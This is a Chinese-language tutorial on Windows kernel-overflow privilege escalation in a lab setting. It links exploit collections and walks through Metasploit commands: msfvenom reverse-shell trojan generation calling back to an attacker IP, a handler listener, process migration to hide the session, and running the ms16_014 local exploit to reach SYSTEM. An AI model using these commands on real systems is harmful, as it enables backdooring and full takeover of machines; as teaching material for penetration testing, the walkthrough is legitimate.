您当前的位置:首页 > 计算机 > 安全防护

Windows系统内核溢出漏洞提权

时间:10-15来源:作者:点击数:

Windows内核溢出漏洞原理

溢出漏洞的全名:缓冲区溢出漏洞。

溢出漏洞简介

溢出漏洞是一种计算机程序的可更正性缺陷。

因为它是在程序执行的时候在缓冲区执行的错误代码,所以叫缓冲区溢出漏洞。缓冲溢出是最常见的内存错误之一,也是攻击者入侵系统时所用到的最强大、最经典的一类漏洞利用方式。成功地利用缓冲区溢出漏洞可以修改内存中变量的值,甚至可以劫持进程,执行恶意代码,最终获得主机的控制权。

什么是缓冲区

在内存空间中预留了一定的存储空间用来缓冲输入或输出的数据。 通俗的讲,缓冲区就是当你打开应用程序或者文件的时候,系统会将数据从内存中复制一份到缓冲区,当再次打开时,系统直接从缓冲区读取,提高打开的速度。

缓冲区溢出

在程序试图将数据放到及其内存中的某一个位置的时候,因为没有足够的空间就会发生缓冲区溢出。缓冲区溢出就好比是将十升水放进只有五升容量的桶里。很显然,一旦容器满了,余下的部分就会溢出在地板上,弄得一团糟。

缓冲区溢出目的

缓冲区溢出的目的在于扰乱具有某些运行特权的程序的功能,这样可以让攻击者取得程序的控制权,如果该程序具有足够的权限,那么整个主机就被控制了。

在实际场景中,攻击者写一个超过缓冲区长度的字符串,植入到缓冲区时可能会出现两种结果:一是过长的字符串覆盖了相邻的存储单元,引起程序运行失败,严重的可导致系统崩溃;另一个结果就是利用这种漏洞可以劫持进程、执行任意指令,甚至可以取得系统权限。

Windows内核溢出漏洞利用流程

Windows系统内核溢出漏洞提权是一种很通用的提权方法,攻击者通常可以使用该方法绕过系统中的所有安全限制。攻击者利用该漏洞的关键是目标系统有没有及时安装补丁,如果目标系统没有安装某一漏洞的补丁且存在该漏洞的话,攻击者就会向目标系统上传本地溢出程序,溢出Administrator权限。

提权流程:

(1) 获取到一个低权限shell后,执行systeminfo命令查看系统安装的补丁列表

(2) 根据补丁程序与微软的漏洞数据库进行比较,找出可能导致权限提升的漏洞.

提权实战思路

大概有两种思路:

  • 基于手工测试
  • 基于工具的自动化提权:MSF/CS

手工提权测试

主要思路就是获取系统上的补丁信息,根据第三网站或者项目寻找EXP。

辅助提权

Github项目:WindowsVulnScan/version1 at master · chroblert/WindowsVulnScan · GitHub

该工具如何使用请参考另外一篇文章:提权神器:WindowsVulnScan

这款工具测试Win7系统时遭遇失败:

还有第三方分析的网站:提权辅助网页 Windows提权辅助 https://i.hacking8.com/tiquan

分析结果:

之后就是根据结果寻找EXP测试

EXP如何寻找

Github上的项目推荐:

GitHub - Ascotbe/Kernelhub: Linux、macOS、Windows Kernel privilege escalation vulnerability collection, with compilation environment, demo GIF map, vulnerability details, executable file (提权漏洞合集)

GitHub - nomi-sec/PoC-in-GitHub: 📡 PoC auto collect from GitHub. ⚠️ Be careful Malware.

项目上集成有大量的EXP,根据上面信息收集获得可利用漏洞逐一尝试即可。

使用MSF提权

测试环境

靶机: Win7 192.168.226.133

攻击机:Kali 192.168.226.132

生成木马:使用第一条命令生成木马 test.exe

msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp
LHOST=192.168.226.132 LPORT=3333 -f exe -o test.exe (32位)

msfvenom -a x64 --platform windows -p windows/x64/meterpreter/reverse_tcp
LHOST=192.168.226.132 LPORT=3333 -f exe -o test.exe (64位)

进入监听

use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 0.0.0.0
set lport 6666
exploit

另外需要注意一个位置,exe的位置要注意,我们权限低,目录没有修改权限,需要放在我们具有修改执行权限的目录下。

还有就是监听的网卡设置,0.0.0.0 表示监听所有的网卡

这样就建立号后门链接了

上线后进行进程迁移(隐藏自己),把进程迁移到explore.exe中,1844为进程的pid

migrate 1844

接下来开始提权,使用post/multi/recon/local_exploit_suggester这个模块进行测试

system为Win7最高权限,开始提权!首先输入background命令将session放到后台

执行攻击模块,它可以快速识别系统中可利用的漏洞

use post/multi/recon/local_exploit_suggester
set session 2
run

获得了可以用来利用提权的模块,使用对应的脚本然后进行提权即可

use exploit/windows/local/ms16_014_wmi_recv_notif
set session 2
run

成功提权

关于提权时可能遇到的问题

如何管理会话

sessions -l 显示所有的会话

sessions -i ID 连接指定的会话

在利用msf进行提权操作是出现timed out:Error running command shell: Rex::TimeoutError Operation timed out.

虚拟切换为NAT模式即可

MSF漏洞利用完成但无法创建会话的几种原因

参考文章:MSF漏洞利用完成但无法创建会话的几种原因_漏洞利用成功但未建立会话

如果提权的时候发现无法执行命令的话,可以上传一个cmd.exe到可读写目录再执行

方便获取更多学习、工作、生活信息请关注本站微信公众号城东书院 微信服务号城东书院 微信订阅号
推荐内容
相关内容
栏目更新
栏目热门